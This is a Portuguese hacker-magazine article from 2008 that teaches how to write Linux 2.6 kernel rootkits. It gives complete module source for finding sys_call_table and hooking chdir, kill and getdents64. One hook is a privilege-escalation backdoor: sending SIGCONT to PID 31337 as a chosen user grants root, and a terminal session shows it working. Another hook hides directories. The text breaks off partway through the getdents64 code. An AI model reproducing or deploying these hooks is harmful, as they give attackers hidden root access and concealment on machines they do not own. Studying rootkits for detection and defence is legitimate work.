[ --- The Bug! Magazine
_____ _ ___ _
/__ \ |__ ___ / __\_ _ __ _ / \
/ /\/ '_ \ / _ \ /__\// | | |/ _` |/ /
/ / | | | | __/ / \/ \ |_| | (_| /\_/
\/ |_| |_|\___| \_____/\__,_|\__, \/
|___/
[ M . A . G . A . Z . I . N . E ]
[ Numero 0x03 <---> Edicao 0x01 <---> Artigo 0x04 ]
.> 05 de Maio de 2008,
.> The Bug! Magazine < staff [at] thebugmagazine [dot] org >
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Escrevendo Rootkits no Linux Kernel 2.6.x Parte I
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
.> 09 de Marco de 2008 (iniciado em 18/04/2007)
.> hash < carloslnx [at] gmail [dot] com >
"Much of the excitement we get out of our work
is that we don't really know what we are doing."
-- E. Dijkstra
[ --- Indice
+ 1. <---> Introducao
+ 1.1. <-> Pre-requisitos
+ 1.2. <-> RK e o freeze maligno
+ 1.3 <-> Consideracoes sobre gcc
+ 2. <---> Syscalls
+ 2.1 <-> asmlinkage
+ 3. <---> Diferencas entre as versoes 2.4.x e 2.6.x
+ 4. <---> Arquivos, diretorios e comandos importantes
+ 5. <---> Primeiros passos
+ 5.1 <-> printk() e' seu amigo
+ 5.2 <-> Visualizando o endereco de sys_call_table e algumas syscalls
+ 6. <---> Hooking de syscall
+ 6.1 <-> Hookando sys_chdir()
+ 6.2 <-> Hookando sys_kill()
+ 6.3 <-> Hookando sys_getdents64()
+ 7. <---> Pids e sys_getdents64()
+ 7.1 <-> Problemas com o uso de sys_getdents64() para pid
+ 8. <---> Hackeando o kernel sem hooking de syscall
+ 8.1 <-> Indo direto ao ponto, bye pid!
+ 9. <---> Consideracoes finais
+ 10. <---> Agradecimentos
+ 11. <---> Referencias
+
+
[ --- 1. Introducao
Na edicao 0x02 da TheBug! Magazine, o Strauss, guerreiro
fiel do exercito de escovadores de bits, escreveu um artigo sobre isso, sobre
como escrever modulos de kernel, seu primeiro "hello motherfucking world" e os
conhecimentos necessarios a se iniciar nessa jornada sombria e ingrata que e' escrever
modulos de kernel, mais precisamente, no nosso caso, modulos para o kernel Linux.
Entao, o leitor mais atento deve perceber que o mal rege nossas intencoes,
e esse artigo pode ser visto como uma continuacao, mesmo que eu nao tenha avisado ao
Strauss sobre isso, do artigo dele na edicao 0x02, mas com um porem, levarei em conta
aqui que voce ja sabe escrever um hello world e ja sabe tambem como funciona os bastidores
do kernel do Linux, entao esse artigo vem bem a calhar para quem leu o artigo da 0x02
e ja sabe o abc.
O leitor tambem nao deve esperar absurdos ninjas aqui. Comecei a ler mais
profundamente sobre o kernel do Linux quando eu quis, a pouco tempo atras colocar
uma pid 31337 no meu sistema e assim o fiz:
--- snip ---
PID TTY STAT TIME COMMAND
1 ? S 0:01 init [3]
31337 ? S 0:00 [migration/0]
2 ? SN 0:00 [ksoftirqd/0]
.
.
.
--- snip ---
Mas eu nao fiz essa palhacada com modulos, editei o kernel/pid.c do kernel, recompilei e
pronto, tenho uma pid realmente 31337.
Posteriormente percebi que se eu fizesse isso on-the-fly seria muito mais legal,
mas percebi tambem que seria mais legal fazer um rootkit e dai nasceu esse artigo.
Meus conhecimentos sobre esse assunto sao recentes e limitados, portanto
tecnicas ninjas de levitacao eu deixo com o Cris Angel do MindFreak e qualquer besteira
que eu escreva aqui fique a vontade para me enviar qualquer ofensa e eu ficarei muito
feliz em responder a altura.
Divirta-se.
[ --- 1.1 Pre-requisitos
Nocoes razoaveis de C;
Previa leitura do artigo do Strauss na TheBug! Magazine 0x02;
Um Linux;
Uma VmWare;
Um cerebro levemente desenvolvido;
Um computador;
Varias cervejas.
[ --- 1.2 RK e o freeze maligno
Voce esta em kernel-land. Em kernel-land e' como Wonderland, do M. Jackson,
voce pede para entrar e reza para sair entao antes de qualquer coisa descole uma VmWare
e instale uma distribuicao linux nela, voce realmente vai precisar. Nos sabemos
da notoria estabilidade do linux mas uma sucessao de kernel panics, e voce vera
MUITAS, sempre e' arriscado, entao ter uma VmWare pra isso e' fundamental.
O freeze maligno vai tomar conta de voce, voce tera pesadelos com
kernel panics, uma tela cheia de oops inundara suas noites e Freddy Krugger
vai parecer a Cinderela depois disso tudo.
Normal.
Entao antes de rodar o insmod, sempre use sync ok. Ajuda bastante, e
espere sempre o pior.
A decepcao nao tem lugar quando voce espera o pior.
[ --- 1.3 Consideracoes sobre gcc
Quando voce compilar um modulo, se voce ja fez sucessivos upgrades de
versoes do gcc provavelmente seu kernel tera sido compilado com uma versao
diferente da atual versao do gcc. Isso pode te trazer problemas como:
---snip---
# insmod ./teste.ko
insmod: error inserting './teste.ko': -1 Invalid module format
# dmesg |tail -1
[ 4994.345416] teste: disagrees about version of symbol struct_module
snip---
Isso, pelo que eu andei lendo podem ser duas coisas:
1 - Voce esta linkando seu modulo a um kernel source
diferente do que que voce esta usando, verifique o /lib/modules/$(uname -r)/ .
2 - Um bug. E algumas modificacoes nos headers do kernel, ou seja, suas
bibliotecas serao necessarias. Alguns links para isso eu adicionarei ao final
do artigo.
Se voce parar para pensar, isso faz algum sentido. Voce tem um kernel
rodando no seu sistema que foi compilado com uma versao x do gcc, quando
voce tenta inserir um modulo para esse rodar juntamente com o kernel, e esse
modulo foi compilado com uma versao x+1 do gcc e' natural perceber que
otimizacoes e outras macumbas ocorrem, macumbas essas diferentes das macumbas
originais. E' um conflito de pai-de-santo por assim dizer, e nesse terreiro
quem recebe a pomba gira e' voce!
Fique a vontade em mandar ofensas `a galera do gcc e do Linux kernel.
Parece-me que isso ocorre apenas na versao 2.6.x, que e' a serie a qual
tudo neste artigo foi feito. Se alguem souber o que acontece na kernel 2.4.x eu
estou curioso para saber.
Entao, a portabilidade, nesse caso, pode ser complicada, impedindo
que voce execute o RK em todos os sistemas.
Mas quando o assunto e' hacking nada e' garantido e aprendemos a conviver
com isso. Portanto, boa sorte.
[ --- 2. Syscalls
Muitas vezes o kernel precisa lidar com IO, dispositivos e com o
sistema ele se utiliza de syscalls. As syscalls desempenham uma funcao
primordial nessa tarefa, controlando dispositivos, manipulando buffers,
escrevendo e lendo do usuario e acessando o hardware.
Existe um arquivo /usr/src/linux/include/asm/unistd.h onde essas syscalls
sao definidas, e /usr/src/linux/include/linux/syscalls.h guardam seus prototypes.
Cada syscall recebe um numero unico que vai de 1 (exit) ate 288 (keyctl).
Cada syscall executa uma funcao. Quando voce em seu codigo C escreve uma
funcao printf() esse printf e' uma interface entre voce e a syscall, a propria funcao
printf ao escrever na tela ela chama a syscall write definida como 4:
/usr/src/linux/include/asm/unistd.h:
#define __NR_write 4
/usr/src/linux/include/linux/syscalls.h:
ssize_t sys_write(unsigned int fd, const char __user *buf, size_t count)
Ex: printf("hi\n");
Quando voce sai de um programa e chama exit em se codigo, esse exit tambem
e' uma interface para a syscall exit de numero 1:
/usr/src/linux/include/asm/unistd.h:
#define __NR_exit 1
Ex: exit(0);
/usr/src/linux/include/linux/syscalls.h:
long sys_exit(int error_code)
Quando voce muda de diretorio com um cd voce chama a syscall 12:
/usr/src/linux/include/asm/unistd.h:
#define __NR_chdir 12
Ex: chdir("/etc");
/usr/src/linux/include/linux/syscalls.h:
long sys_chdir(const char __user *filename)
E dai por diante, cada funcao do seu programa pode chamar uma ou mais syscalls.
O comando mais importante que voce pode ter para saber quais syscalls um programa
binario usa e' o strace, seu man se inicia assim:
strace - trace system calls and signals
Entao, o output de um comando strace e' a sequencia de system calls que o
binario usa, veja so o strace resumido do comando echo:
---snip---
# strace echo oi
execve("/usr/bin/echo", ["echo", "oi"], [/* 30 vars */]) = 0
brk(0) = 0x804b000
.
.
.
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fb6000
write(1, "oi\n", 3oi
) = 3
munmap(0xb7fb6000, 4096) = 0
exit_group(0) = ?
---snip---
Percebeu a syscall write() ? Assim como write() o comando echo tambem chama
outras syscalls como execve(), que muitas vezes chamam outras e outras syscalls.
Seguindo o exemplo do chdir() vamos fazer um dummy code e verificar com strace:
---snip---
#include
int main(void){
chdir("/etc");
return 0;
}
---snip---
Agora veja:
---snip---
# strace ./teste
execve("./teste", ["./teste"], [/* 20 vars */]) = 0
uname({sys="Linux", node="void", ...}) = 0
brk(0) = 0x804a000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe0000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=16951, ...}) = 0
mmap2(NULL, 16951, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fdb000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\240O\1"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0644, st_size=1241392, ...}) = 0
mmap2(NULL, 1247388, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7eaa000
mmap2(0xb7fd1000, 28672, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x127) = 0xb7fd1000
mmap2(0xb7fd8000, 10396, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fd8000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7ea9000
mprotect(0xb7fd1000, 20480, PROT_READ) = 0
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7ea98e0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
munmap(0xb7fdb000, 16951) = 0
chdir("/etc") = 0
exit_group(0) = ?
Process 22751 detached
---snip---
chdir() foi executado. Um detalhe importante e' que algumas vezes a funcao C
e' homonima a syscall como o caso do chdir() mas a primeira e' uma funcao C e a segunda
e' uma syscall ok.
Uma das formas mais populares de se escrever um rootkit e' o sequestro
das syscalls. Existem tecnicas como libs tambem mas nao serao abordadas aqui
porque eu nao as estudei para saber como funcionam.
Pense comigo, a syscall chdir() muda seu diretorio corrente certo?
O que acontece se voce sequestrar o endereco dessa syscall e apontar para
a sua propria funcao? Voce vai controlar o funcionamento do comando cd.
Pode imprimir na tela um "hello motherfucker" toda vez que alguem der
um "cd /etc" por exemplo. O mesmo vale para qualquer syscall.
O que vamos fazer daqui por diante e' zuar com essas syscalls
for fun and profit e rezar para que o kernel panic maligno nao
ataque nossos sistemas.
[ --- 2.1 asmlinkage
Repare que no topico anterior eu omiti a constante "asmlinkage"
para os protypes das syscalls em /usr/src/linux/include/linux/syscalls.h,
isso porque eu preferi falar um pouco dessa diretiva aqui.
A diretiva asmlinkage diz a funcao que seus argumentos _nao_
serao encontrados nos registradores mas sim na stack.
Toda syscall e' definida dessa forma, com o uso de asmlinkage.
E e' assim que mais adiante vamos definir nossas funcoes mais a frente.
[ --- 3. Diferencas entre as versoes 2.4.x e 2.6.x
Antes na serie 2.4.x do kernel do linux a escrita de rootkits era facilitada
porque o endereco da sys_call_table era exportada.
Esse endereco guarda a tabela mapeada no kernel onde se faz referencia
a todas as syscalls em atividade, esse endereco e' definido na compilacao do kernel
e e' fixo e somente muda apos uma nova compilacao.
No kernel 2.4.x esse endereco era exportado e poderia facilmente ser
recolhido por uma funcao simples. Hoje voce consegue esse endereco indiretamente
pela funcao syscall close(). Existem outras formas como forca bruta. Essas funcoes
nao foram criadas por mim e sao well known.
Sendo assim, hookar uma syscall no kernel 2.6.x ficou muito simples, veja
a funcao que eu, particularmente, uso no meu RK, de Mariusz Burdach:
---snip---
#include
#include "dirstruct.h"
unsigned long **find_sys_call_table(void){
unsigned long **sctable;
unsigned long ptr;
extern int loops_per_jiffy;
sctable = NULL;
for (ptr = (unsigned long)&loops_per_jiffy ; ptr < (unsigned long)&boot_cpu_data ; ptr += sizeof(void *)){
unsigned long *p;
p = (unsigned long *)ptr;
if (p[__NR_close] == (unsigned long) sys_close){
sctable = (unsigned long **)p;
return &sctable[0];
}
}
return NULL;
}
---snip---
Algumas vezes isso nem e' necessario, o arquivo System.map, quando reflete o
atual kernel e se estiver acessivel pode fornecer esse endereco, veja:
---snip---
# grep sys_call_table System.map
c03c0d90 R sys_call_table <------------------ !!!
c040eed6 R __kstrtab_sys_call_table
c041d398 R __ksymtab_sys_call_table
---snip---
O endereco 0xc03c0d90 e' o nosso sys_call_table. Voce podera mais tarde
conferir isso, se tiver o System.map, executar a funcao find_sys_call_table()
e perceber que e' o mesmo endereco.
Uma forma interessante e' comparar esses dois enderecos (System.map
e find_sys_call_table()) ate para saber se o System.map do sistema e' o
atual pois outras informacoes podem ser recuperadas nesse arquivo.
[ --- 4. Arquivos, diretorios e comandos importantes
Obviamente voce deve ter os sources do seu kernel instalados
para a escrita do seu rootkit, assim voce pode tirar duvidas e ter
referencias do funcionamento do kernel.
Uma vez que seu rootkit foi compilado com sucesso, em uma
maquina alvo voce precisa apenas do /lib/modules/$(uname -r)/
bastando isso para voce compila-lo na maquina, lembrando da questao
das versoes do gcc e os problemas descritos no inicio do paper
no capitulo 1.3.
O System.map e' o arquivo com o mapeamento de enderecamento
de funcoes do kernel, la se pode encontrar de tudo, as funcoes
exportadas com seus respectivos enderecos.
O arquivo /usr/src/linux/include/linux/syscalls.h guarda
muitos prototipos de funcoes que voce ira hookar.
Em /usr/src/linux/include/asm/unistd.h voce encontra as
definicoes numericas de todas as syscalls, voce pode inclusive
criar suas proprias syscalls, sendo necessario inclui-las nesses
arquivos e recompilar seu kernel, isso nao e' o escopo desse
documento mas vale a dica.
O comando dmesg () e' o que voce vai usar para, muitas vezes,
debugar seu RK, a funcao do kernel printk() escreve nesse buffer.
O comando strace, ja dito mais acima e' fundamental. Use o parametro
-v sempre para ver o output sem abreviacoes. man strace para mais info.
Makefile e' o que voce vai usar para compilar seus modulos,
esqueca o simples gcc lala.c -o lala ok. Criei um scriptzinho para
voce criar seus Makefiles mais simples para seus testes, sem muito
stress. Veja o paper do Strauss para mais informacoes sobre o
Makefile.
o arquivo /proc/kallsyms que contem simbolos exportados do kernel.
/proc/modules, arquivo gerado pelo kernel com os modulos atualmente
carregados.
Para quem nao tem VmWare:
Botao RESET e tomada do seu computador-> Acredite, voce vai precisar :)
[ --- 5 Primeiros passos
Agora vamos por a mao na massa e fazer nosso primeiro modulo que vai imprimir
o enderecamento de algumas syscalls bem como o endereco de sys_call_table, que deve
servir para ilustrar a eficiencia do algoritmo de recuperacao de enderecos e voce
vai poder comparar com o valor obtido de System.map.
[ --- 5.1 printk() e' seu amigo
Diferentemente de programas userland os programas de kernel sao um pouco
mais complicados de se debugar, nao e' tao pratico imprimir na tela, nao existe
printf(), existe, para imprimir no console a funcao console_print() definida
em linux/tty.h, mas se mostra insuficiente para qualquer coisa alem do que
um puts() da vida faz. Nao possui formatacao.
Entao a galera do kernel resolveu criar o printk() , essa sim
e' funcional, possui sua formatacao semelhante a printf() com um detalhe
diferente que ao invez de imprimir no console imprime no output do comando
dmesg.
No comeco e' estranho mas voce se acostuma a ver seus outputs dessa
forma. Sendo assim imagine:
int i=1000;
printk("valor de i: %d\n",i);
E dmesg para visualizar.
[ --- 5.2 Visualizando o endereco de sys_call_table e algumas syscalls
Antes vou mostrar o output gerado pelo modulo e em seguida
falo sobre ele.
ps: comentarios apos "#"
---snip---
# dmesg
(bastante alguma saida suprimida)
sys_call_table: 0xc0393d00 #endereco de sys_call_table
1 sys_call_table[__NR_exit] -> 0xc0123880 #daqui em diante fica facil
2 sys_call_table[__NR_fork] -> 0xc0101ae3
3 sys_call_table[__NR_read] -> 0xc015c1d8
(bastante alguma saida suprimida)
#
---snip---
No meu caso eu tenho meu /System.map, vamos comparar o endereco que pegamos
com o endereco contido em System.map de sys_call_table
---snip---
# grep sys_call_table /System.map
c0393d00 D sys_call_table
---snip---
O Makefile para o nosso primeiro modulo:
---snip---
MOD_DIR = src
UTIL_DIR = util
C_FLAGS = -Wall
GCC = $(shell which gcc)
MAKE = $(shell which make)
SRCDIR = $(shell uname -r)
RM = $(shell which rm)
obj-m += get_sys_calls.o
fusion-objs := get_sys_calls.o
all:
$(MAKE) -C /lib/modules/$(SRCDIR)/build M=$(PWD) modules
clean:
$(MAKE) -C /lib/modules/$(SRCDIR)/build M=$(PWD) clean
---snip---
O codigo:
---snip---
/*
* get_sys_calls.c para a TheBug! Magazine 0x03
*
* Acha os enderecos de sys_call_table e algumas syscalls.
*
* Carlos Carvalho aka hash
*/
#include
#include
#include
#include
#include
typedef struct sys{
char *sys_name;
int sys_value;
}sys;
sys sys_t[]=
{
{"__NR_exit" , 1},
{"__NR_fork" , 2},
{"__NR_read" , 3},
{"__NR_write" , 4},
{"__NR_open" , 5},
{"__NR_close" , 6},
{"__NR_creat" , 8},
{"__NR_link" , 9},
{"__NR_unlink" , 10},
{"__NR_execve" , 11},
{"__NR_chdir" , 12},
{"__NR_chmod" , 15},
{"__NR_mount" , 21},
{"__NR_umount" , 22},
{"__NR_setuid" , 23},
{"__NR_ptrace" , 26},
{"__NR_sync" , 36},
{"__NR_kill" , 37},
{"__NR_rename" , 38},
{"__NR_mkdir" , 39},
{"__NR_rmdir" , 40},
{"__NR_umask" , 60},
{"__NR_chroot" , 61},
{"__NR_symlink" , 83},
{"__NR_reboot" , 88},
{"__NR_readdir" , 89},
{"__NR_mmap" , 90},
{"__NR_munmap" , 91},
{"__NR_stat" , 106},
{"__NR_uname" , 122},
{"__NR_chown" , 182},
{"__NR_stat64" , 195},
{"__NR_getdents64" , 220},
{NULL , 0}
};
//funcao que recupera o endereco de sys_call_table:
unsigned long **find_sys_call_table(void){
unsigned long **sctable, ptr;
extern int loops_per_jiffy;
sctable = NULL;
for (ptr = (unsigned long)&loops_per_jiffy ; ptr < (unsigned long)&boot_cpu_data ; ptr += sizeof(void *)){
unsigned long *p;
p = (unsigned long *)ptr;
if (p[__NR_close] == (unsigned long) sys_close){
sctable = (unsigned long **)p;
return &sctable[0];
}
}
return NULL;
}
static int __init init_lkm (void){
int x;
void **sys_call_table;
sys_call_table = (void*)find_sys_call_table();
sys *syscall;
syscall = sys_t;
x = 0;
printk("sys_call_table: 0x%p\n",sys_call_table);
while(syscall[x].sys_name != NULL){
printk("%d sys_call_table[%s] -> 0x%p\n",
syscall[x].sys_value,
syscall[x].sys_name,
sys_call_table[syscall[x].sys_value]);
x++;
}
return 0;
}
static void __exit exit_lkm (void){}
module_init (init_lkm);
module_exit (exit_lkm);
---snip---
Na funcao find_sys_call_table() voce pode perceber que e´ feito um brute force
para quando o valor de sys_close for semelhante ao ponteiro p de __NR-close (syscall)
e´retornado o endereco desse ponteiro, onde seu primeiro elemento aponta para sys_call_table,
a atraves desse endereco podemos recuperar o endereco de cada syscall no sistema e imprimi-la
como fiz acima.
O algoritmo em teoria deve funcionar tambem no kernel 2.4.x ja que ele
busca o endereco correto independentemente se ele foi exportado ou nao, a unica
diferenca para o 2.4 sera um overhead inutil, mas isso somente seria executado uma
unica vez.
[ --- 6 Hooking de syscall
Como eu disse antes, uma das tecnicas mais populares e que nao faz de
voce um ser 31337 mas o faz feliz e´ o hooking de syscall com o intuito de
desviar o fluxo normal execucao, que seria da syscall, para uma funcao que
especificarmos.
Veja o desenho e perceba minhas tecnicas avancadas de ascii art:
U => userland (funcao, programa...)
K/S => kernel/syscall
M => nosso modulo
userland tool:
---snip---
#include
#include
#include
#include
int main(int argc, char **argv){
char *dir = malloc(strlen(argv[1])+1);
strcpy(dir,argv[1]);
chdir(dir);
return 0;
}
---snip---
Fluxo normal de execucao:
+--------------------------------+
passo1 |U: $ ./userland tool |
+--------------------------------+
passo2 |U: chdir(dir) |
+--------------------------------+
passo3 |K/S: sys_call_table[__NR_chdir] |
+--------------------------------+
passo4 |K/S: sys_chdir(dir) |
+--------------------------------+
de volta a shell
Fluxo alterado de execucao:
+-----------------------------------------------------+
passo1 |M: salva_funcao = &sys_call_table[__NR_chdir] |
+-----------------------------------------------------+
passo2 |M: sys_call_table[_NR_chdir] = &nossa_funcao |
+-----------------------------------------------------+
passo3 |U: ./userland tool |
+-----------------------------------------------------+
passo4 |U: chdir(dir) |
+-----------------------------------------------------+
passo5 |K/S: sys_call_table[__NR_chdir] |
+-----------------------------------------------------+
passo6 |M: nossa_funcao(dir){ |
| if(strncmp(dir,ddir->dname,strlen(dir)) == 0) |
| return -EPERM; |
| else |
| return salva_funcao(dir); |
| } |
+-----------------------------------------------------+
passo7 |M: sys_call_table[_NR_chdir] = &salva_funcao |
+-----------------------------------------------------+
de volta a shell
No fluxo normal de execucao tudo transcorre pacificamente,
o usuario executa o codigo, que poderia ser um simples "cd" ,mas enfim, esse
codigo chama a funcao da biblioteca padrao chdir() que chama a syscall
referente a __NR_chdir executando sys_chdir().
A brincadeira fica legal no fluxo alterado de execucao, onde
levando-se em conta que voce carregou o modulo com insmod ou modprobe,
salva-se o endereco original de sys_call_table[__NR_chdir], entao
sys_call_table[_NR] recebe o endereco de nossa_funcao e espera
pelo usuario executar seu programa, ele executa, chama chdir, o kernel
verifica o endereco de sys_call_table[_NR_chdir] que agora aponta para
a nossa_funcao com nosso codigo, executa essa funcao.
Ao dar rmmod, quando isso e' possivel (eheh) o endereco de
sys_call_table[__NR_chdir] e' restaurado senao teremos um simpatico
kernel panic em algum momento.
A implementacao dessa estrutura veremos logo, esse mecanismo
organizacional e' importante ser guardado em mente:
1 - salva o endereco da syscall original
2 - copia esse endereco para a nossa funcao
3 - executa nossa funcao de acordo com nossas regras
4 - ao sair, com rmmod ou de outra forma,
restaura o endereco original da syscall
Com isso ainda fresco na mente, vamos para o proximo topico
onde enfim vamos fazer algo legal hookando, ou sequestrando se preferir,
uma syscall.
[ --- 6.1 Hookando sys_chdir()
Syscall -> __NR_chdir -> 12
Objetivo -> trancar diretorio /etc se UID == 0
Primeiro vamos ao codigo e em seguida farei os comentarios:
sys_hook_chdir.h arquivo de definicoes:
---snip---
/*
* sys_hook_chdir.h
*
* Carlos Carvalho aka hash
*
*/
#define SAVE_CHDIR o_chdir = (long(*)(const char __user *filename)) \
(sys_call_table[__NR_chdir]);
#define HOOK_CHDIR sys_call_table[__NR_chdir] = (unsigned long *)chdir;
#define RESTORE_CHDIR sys_call_table[__NR_chdir] = (unsigned long *)o_chdir;
asmlinkage long (*o_chdir) (const char __user *filename);
void **sys_call_table;
const char *dir = "etc";
const short int lockuid = 0;
---snip---
sys_hook_chdir.c modulo:
---snip---
#include
#include
#include
#include "sys_hook_chdir.h"
unsigned long **find_sys_call_table(void){
unsigned long **sctable, ptr;
extern int loops_per_jiffy;
sctable = NULL;
for (ptr = (unsigned long)&loops_per_jiffy ; ptr < (unsigned long)&boot_cpu_data ; ptr += sizeof(void *)){
unsigned long *p;
p = (unsigned long *)ptr;
if (p[__NR_close] == (unsigned long) sys_close){
sctable = (unsigned long **)p;
return &sctable[0];
}
}
return NULL;
}
asmlinkage long chdir(const char __user *filename){
if(strstr(filename,dir) && current->uid == lockuid) return -ENOENT;
return o_chdir(filename);
}
static int __init init_lkm (void){
sys_call_table = (void*)find_sys_call_table();
SAVE_CHDIR
HOOK_CHDIR
return 0;
}
static void __exit exit_lkm (void){
RESTORE_CHDIR
}
module_init (init_lkm);
module_exit (exit_lkm);
---snip---
Vamos ver a execucao:
---snip---
tty1:
root@char:/tmp/Dummy# cd /etc
root@char:/etc# cd -
/tmp/Dummy
root@char:/tmp/Dummy# insmod ./sys_hook_chdir.ko
root@char:/tmp/Dummy# cd /etc
-bash: cd: /etc: No such file or directory
root@char:/tmp/Dummy#
tty2:
hash@char:~$ cd /etc
hash@char:/etc$
tty1:
root@char:/tmp/Dummy# rmmod sys_hook_chdir
root@char:/tmp/Dummy# cd /etc
root@char:/etc#
---snip---
Primeiro a gente cria um header file para guardar as variaveis globais
e macros por questao de organizacao.
Nesse header denominado aqui de sys_hook_chdir.h primeiro eu crio a macro:
#define SAVE_CHDIR o_chdir = (long(*)(const char __user *filename)) \
(sys_call_table[__NR_chdir]);
o_chdir recebe o enderco de sys_call_table[__NR_chdir] que no meu sistema
como foi visto antes, lembra? :
12 sys_call_table[__NR_chdir] -> 0xc015adf612
Entao, e o prototipo da funcao sys_chdir(), que sao os argumentos que a funcao.
A funcao o_chdir() salva o estado original da syscall, que sera restaurado
quando removermos o modulo, para as coisas serem como eram antes.
Logo a seguir sys_call_table[__NR_chdir] e' sobrescrito com o endereco da nossa
funcao chdir() para quando a syscall 12 for chamada aponte para a funcao chdir().
Isso guardado em nossa macro HOOK_CHDIR.
Ao final RESTORE_CHDIR guarda os dados necessarios para o restore que e' a
operacao inversa onde sys_call_table[__NR_chdir] recebe de volta o endereco orignal
guardado em o_chdir().
O resto sao variaveis que guardam o endereco de sys_call_table propriamente
dita, o diretorio que usamos e a uid a ser informada posteriormente.
O corpo de sys_hook_chdir.c e' simples e apenas, depois de recuperar o endereco
de sys_call_table, chama as macros previamente definidas e restaura ao sair.
[ --- 6.2 Hookando sys_kill()
Syscall -> __NR_kill -> 37
Objetivo -> receber status de root para kill especifico
Novamente vou primeiro expor o codigo, que nada mais e' do
que uma alteracao do exemplo anterior com sys_chdir(), vamos la:
sys_hook_kill.h :
---snip---
/*
* sys_hook_chdir.h
*
* Carlos Carvalho aka hash
*
*/
#define SAVE_KILL o_kill = (long(*)(int pid, int sig)) \
(sys_call_table[__NR_kill]);
#define HOOK_KILL sys_call_table[__NR_kill] = (unsigned long *)kill;
#define RESTORE_KILL sys_call_table[__NR_kill] = (unsigned long *)o_kill;
#define LEET 31337
asmlinkage long (*o_kill) (pid_t pid, int sig);
void **sys_call_table;
const short int mkrootuid = 1000;
---snip---
sys_hook_kill.c :
---snip---
/*
* sys_hook_chdir.c
*
* Carlos Carvalho aka hash
*
*
*/
#include
#include
#include
#include "sys_hook_kill.h"
unsigned long **find_sys_call_table(void){
unsigned long **sctable, ptr;
extern int loops_per_jiffy;
sctable = NULL;
for (ptr = (unsigned long)&loops_per_jiffy ; ptr < (unsigned long)&boot_cpu_data ; ptr += sizeof(void *)){
unsigned long *p;
p = (unsigned long *)ptr;
if (p[__NR_close] == (unsigned long) sys_close){
sctable = (unsigned long **)p;
return &sctable[0];
}
}
return NULL;
}
asmlinkage long kill(pid_t pid, int sig){
if(current->uid == mkrootuid && sig == SIGCONT && pid == LEET){
current->gid = current->uid = 0;
return -EPERM;
}
return o_kill(pid,sig);
}
static int __init init_lkm (void){
sys_call_table = (void*)find_sys_call_table();
SAVE_KILL
HOOK_KILL
return 0;
}
static void __exit exit_lkm (void){
RESTORE_KILL
}
module_init (init_lkm);
module_exit (exit_lkm);
---snip---
Executando:
---snip---
tty1:
root@char:/tmp/Dummy/sys_hook_kill# insmod ./sys_hook_kill.ko
root@char:/tmp/Dummy/sys_hook_kill#
tty2:
hash@char:~$ id
uid=1000(hash) gid=100(users) groups=11(floppy),17(audio),18(video)...
hash@char:~$ su
Password:
Sorry.
hash@char:~$ kill -SIGCONT 31337
-bash: kill: (31337) - Operation not permitted
hash@char:~$ su
root@char:/home/hash# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),...
root@char:/home/hash#
---snip---
Repare que eu retorno -EPERM sem executar a funcao kill original,
afinal nao queremos killar nenhuma pid, apenas ganhar root e isso
e' feito antes com current->gid = current->uid = 0.
Caso a nossa regra nao seja estabelicida retorno a funcao
kill original, porque _the kill must go on_.
[ --- 6.3 Hookando sys_getdents64()
Diretorios nao desaparecem por magica, mas desaparecem com sys_getdents64().
Nesse capitulo vou mostrar como, veja:
sys_hook_getdents.h:
---snip---
/*
* sys_hook_chdir.h
*
* Carlos Carvalho aka hash
*
*/
#define SAVE_GETDENTS64 o_sys_getdents64 = (long(*)(unsigned int fd, \
struct linux_dirent64 __user *dirent, \
unsigned int count)) \
(sys_call_table[__NR_getdents64]);
#define HOOK_GETDENTS64 sys_call_table[__NR_getdents64] = (unsigned long *)getdents64;
#define RESTORE_GETDENTS64 sys_call_table[__NR_getdents64] = (unsigned long *)o_sys_getdents64;
#define HIDEDIR "etc"
asmlinkage long (*o_sys_getdents64) (unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count);
void **sys_call_table;
struct linux_dirent64 {
u64 d_ino;
s64 d_off;
unsigned short d_reclen;
unsigned char d_type;
char d_name[20];
};
---snip---
sys_hook_getdents.c:
---snip---
/*
* sys_hook_chdir.c
*
* Carlos Carvalho aka hash
*
*
*/
#include
#include
#include
#include
#include "sys_hook_getdents64.h"
unsigned long **find_sys_call_table(void){
unsigned long **sctable, ptr;
extern int loops_per_jiffy;
sctable = NULL;
for (ptr = (unsigned long)&loops_per_jiffy ; ptr < (unsigned long)&boot_cpu_data ; ptr += sizeof(void *)){
unsigned long *p;
p = (unsigned long *)ptr;
if (p[__NR_close] == (unsigned long) sys_close){
sctable = (unsigned long **)p;
return &sctable[0];
}
}
return NULL;
}
asmlinkage long getdents64(unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count){
struct linux_dirent64 *ddir, *ddir_t, *ptr, *prev;
ddir= ddir_t = ptr = prev = NULL;
long rec,i,ret;
ret = 0;
i = ret = (*o_sys_getdents64) (fd, dirent, count);
